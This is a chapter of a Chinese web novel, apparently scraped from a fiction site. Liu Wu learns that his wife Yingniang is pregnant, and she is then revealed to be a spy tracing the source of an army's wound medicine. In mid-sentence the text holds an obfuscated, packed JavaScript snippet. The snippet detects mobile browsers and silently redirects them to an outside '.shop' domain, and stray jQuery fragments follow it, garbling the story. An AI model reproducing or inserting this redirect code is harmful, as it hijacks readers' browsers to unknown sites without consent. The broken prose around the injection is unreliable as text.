今日,军营的伙夫费了一天功夫,准备了一顿丰盛的餐食。
渔民那里买来的海杂鱼煮成鱼饭、带鱼做香煎;沙滩上挖的蛤蜊则是煮成蛤蜊豆腐汤,鲅鱼饺子。
李副将组织兵士上山打猎,猎到了好几窝肥美的野猪。野猪肉做成红烧肉。
很多地方有“冬至大过年”的说法。
整个军营喜气洋洋,大伙终于可以好好吃一顿,打打牙祭。
家住本地的刘武没有留在营地和将士们共度冬至,而是在陆彦铮的默许下回到临安城的家里。
“都准备好了吗?”
“是。”
刘武如同往常一样,人未到,声先至。
三人围坐桌边,刘母煮了热气腾腾的汤圆,还准备了满满一桌子菜。
一家人其乐融融,刘母把精心准备的汤圆端上桌。
“冬至吃汤圆,一家人团团圆圆,以后每个冬至我们一家三口都要团团圆圆的。”
英娘咬了一口汤圆,突觉胃里一阵翻滚。
“呕……”她快速离开饭桌,蹲在门口的排水沟前呕吐不止。
“怎么了,怎么了?”刘武慌得不知所措,想拍她的后背又怕手劲过大,只能轻轻抚摸她的后背。
“不行,我去请大夫!别是吃坏肠胃生病了!”说着就往外跑。
刘母拉住了自己的傻儿子,准备了一杯温水。
“来,英娘,漱漱口。”
“娘!英娘都吐成这样了,我得去请大夫,您做什么拦着我!”
刘武对妻子极为爱重,见她难受,急得大冬天都是一脑门的汗。
“郎君,我没事……”
“怎么会没事,你都吐成这样了,还说没事!”
“你这个傻小子,你懂什么?英娘,你多久没换洗了?”
“两个月了……”说完英娘就红着脸低下头。
刘武:???
“傻小子,杵在这里做什么?还不赶紧扶你媳妇进去!”
“不是应该请大夫吗?”
“请什么大夫,八九不离十,你要当爹了!”刘母笑眯眯的望着自家儿子。
刘武狠狠掐了一把自己,“嘶——”
“我要当爹了!”他抱起英娘就在原地转圈圈,高兴得不知所以。
他和英娘成婚多年,一直无所出。曾经很长一段时间英娘都很自责,甚至给动了给他纳妾的念头,刘武和刘母都坚定拒绝了。
刘武一直坚信命里有时终须有,命里无时莫强求。他又愧疚是不是自己杀孽太重,导致这辈子要无嗣而终。
孩子强求不得,如果英娘实在想要,他甚至动了把同袍的遗孤过继过来的念头。
今日终于听到喜讯,他在心里把漫天神佛都感谢了一遍,只求英娘这一胎能顺顺利利。
“太好了,我要当爹了,英娘,刚刚是我莽撞了,抱着你转圈圈,你有没有哪里不舒服……”
那絮絮叨叨的样子,简直就像一个刚成婚的毛头小伙子。
“我没事,现在月份浅,没什么感觉。”英娘的眼里闪着细碎的光晕,脸上都是即将为人母的柔和光芒。
“我买两个丫鬟回来照顾你和阿娘,你以后就在家好好养胎,也别再织布了,小心累着你。”
“郎君,我没那么娇气。不用买丫鬟,家里只有我和阿娘在家,我不需要人服侍的,再说了,家里多一个外人我也不习惯。”
“你好歹也是一个参将夫人,以前我要买仆人你不同意,但是今时不同往日,你就别再拒绝了,明日我就去找人牙子,就这么说定了。”
一副不容拒绝的样子逗笑了英娘。
“好,不过既然要买,就买一个生产过的仆妇,她们照顾有孕的妇人有经验,也免得娘受累。”
“还是你想的周到,明天我就去找人牙子。”
“睡吧……”刘武轻轻把妻子拥入怀中。
第二天,刘武早早就去牙行,找到人牙子。
人牙子效率极高,当天下午就带了十几个人来供他挑选。
刘武虽然现在贵为参将,却一直是穷苦人家出身,他并不知道要怎么挑选奴仆。
他只按着那些面相憨厚老实的挑,自己常年在军中,英娘和母亲一个孕妇,一个老弱。怕的就是奴大欺主的事情。
他挑选一遍后,由英娘来做最后的筛选。
“就这两个小丫头,还有这个妇人吧。”
英娘选了一对十三四岁的姐妹,叫叶芋、叶穗。
姐妹俩面黄肌瘦,身上衣服虽然补丁摞补丁却意外的干净整洁。
头发在脑后编成一把辫子,一看就是仔细清洗过的,梳的一丝不苟。
英娘仔细观察她们的手,姐妹俩的手上都有常年干活留下的茧子,是勤快的人。
至于那个妇人,则是三十出头的样子,慈眉善目,一身靛蓝的对襟粗布襦裙浆洗的干干净净。
刘武付了人牙子的钱,拿到他们的身契。
“把你买回来,是伺候太太和老太太的。你们要记得,只有忠心的人才能在这个家呆下去。”
只有短短的两句话。
他只是站在那里,气场全开。
三人脸色煞白,那种尸山血海躺过的煞气,让她们汗毛倒立。
年长的婆子首先反应过来,战战兢兢跪下。
“大人放心,奴婢们必当谨守本分,服侍好太太和老太太。”
“太太遇喜,若你们照顾的好,自会有你们的好处。”
“是。”
“诸位跟我来吧,我给你们准备了布料,争取这两天每人裁剪两身衣服出来,还有我带你们去看看住处。”
英娘温和的声音在她们头顶响起,三人感激涕零地爬起来,随英娘离去。
一番恩威并施之下,短时间内三个奴仆不敢生出异心。
刘武满意地点点头。
是夜,刘武躺在床上和英娘聊天。
这是夫妇俩每次相见的必修课,用英娘的话说就是消除夫妻间的隔阂。
“夫君,我有些害怕。”英娘依偎在刘武怀里,手抓着他的衣襟,像乳燕投林般紧紧贴着他。
“别怕,有我在。”
“我知道你是军人,我应当懂事。但是我真的好怕。”
英娘抬起头,泪盈于睫,望向自己的丈夫,哽咽着说:“如今我们有了孩儿,你要多多给家里写信,让我知道你的行踪,可以吗?”
刘武看着梨花带雨的妻子,金刚指也化成绕指柔,他一遍遍抚拍着妻子的脊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704503|203914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
背。
“你放心,如今倭寇的后援被断,陆将军和水师的人协作,在各个要塞都布下暗哨,整个东南沿海都很安全。”
“真的吗?可是之前你不是跟我说,军中缺医少药,你要是受伤了,可怎么办?”
刘武捏了捏英娘的鼻子。
“你呀,那都是多久前的事情了,如今军中出了一种神药,对外伤极为有效,更妙的是这药材有两种不同形式,居然可以内外皆治。”
他穿鞋下地,从自己带回的包裹里拿出两个瓷瓶。
“你看,就是这个。我为了预防万一带在身上的。”
英娘正想打开瓷瓶,刘武阻止了她。
“你如今有孕,也不知道这药会不会有损胎气,我拿给阿娘收起来吧。”
“不用,我不打开就是了,这瓷瓶看着还挺别致,咦?这里还有记号。”
刘武仔细端详,瓷瓶底部确实有标记,勉强能看出是一个字,但是他读书不多,不认识。
刘武老脸微红,支支吾吾道:
“这不知道是什么字体,我也不认识……”
“噗呲……夫君是武将,又不是那文臣,不认识也是正常的,妾身也不认识。好了,我们安置吧。”
两人躺着,很快房间就响起了刘武的鼾声。
英娘轻轻把他压在自己身上的手挪开,在他的昏睡穴上点了点。
刘武的鼾声顿时低落,不一会儿就睡得更为平静。
英娘躺在床上静静等待,子时刚过,房门外响起一声猫叫声。
她下床出门,干脆利落的样子和白天弱柳扶风的样子有着天壤之别。
英娘来到下人住的地方,跪下。
“见过主人。”
“战英,你在刘家这些年,情报工作毫无寸进,主子已经很不耐烦了!”
“小的该死,那刘武极少归家,就算在家也守口如瓶,很难从他嘴里得到什么情报。”
“这是你无能!休要找借口。”
来人扔了一个瓷瓶到她手里。
“去查,这药是从哪里流出来的,找到源头,必要的时候……”
黑暗中,那人影比了一个抹脖子的手势。
“属下明白。”
英娘就着月色回到房里,刘武睡得无知无觉。她望着手中的瓷瓶,和刘武给她的一模一样。
自己的一切都在组织的掌控之下,夫妻间的私房话也被探听。
刘武在家呆了三天,刘母和两个新买的丫鬟准备了许多定胜糕让他带走,糕点里都是母亲的殷殷期盼。
他怀里揣着妻子绣的荷包,行囊里都是母亲准备的吃食,还有那千层底的鞋子,也不知道老母亲熬了多少个夜晚才做了那么多鞋子。
英娘在刘武归队后,在李氏的掩护下对金疮药的来源展开调查。
没错,李氏就是组织给她提供的助手,为的就是调查这次陆家军源源不断的奇效金疮药来源。
金疮药的来源成谜,为了深入调查,她不得不联系了几个同在临安府官员后宅的细作。
事情日渐往她希望的方向发展,消息通过特殊渠道源源不断地传出去。
又是深夜子时,熟悉的猫叫声在窗外响起。
英娘静静跪在地上。